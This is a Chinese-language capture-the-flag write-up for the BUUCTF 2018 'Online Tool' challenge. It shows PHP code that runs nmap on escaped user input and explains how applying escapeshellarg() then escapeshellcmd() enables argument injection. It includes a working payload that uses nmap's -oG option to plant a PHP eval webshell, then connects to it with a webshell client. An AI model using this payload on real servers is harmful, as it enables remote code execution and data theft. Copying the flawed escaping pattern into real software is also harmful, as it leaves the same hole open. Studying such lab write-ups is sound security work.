[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这是一道PHP函数特性的题目,用到了escapeshellarg()
&escapeshellcmd()
函数绕过。这两个函数都是让输入的内容变成字符串的形式,但是处理的方式不同。
意思是当输入的字符先通过escapeshellarg()
再通过escapeshellcmd()
这两个函数进行转义之后会存在漏洞,当我们输入' whoami '
,经过这两个函数处理之后变为''\\'' whoami '\\'''
,这让就让所有'
都闭合掉了,从而绕过函数通过'
让参数变成字符串的过滤。
再来看第二个利用的点,nmap命令的-oG
参数能够将命令和结果都写入一个文件里面,从而可以写入一句话木马。
payload:
?host=' <?php @eval($_POST["a"]);?> -oG 1.php '
值得一提的是:最后的
'
最好是跟前一个字符之间留一个空格,否则转义之后\\
就会和前面的1.php
连在一起,访问的时候就是1.php\\
这个文件。
使用蚁剑连接读取文件即可。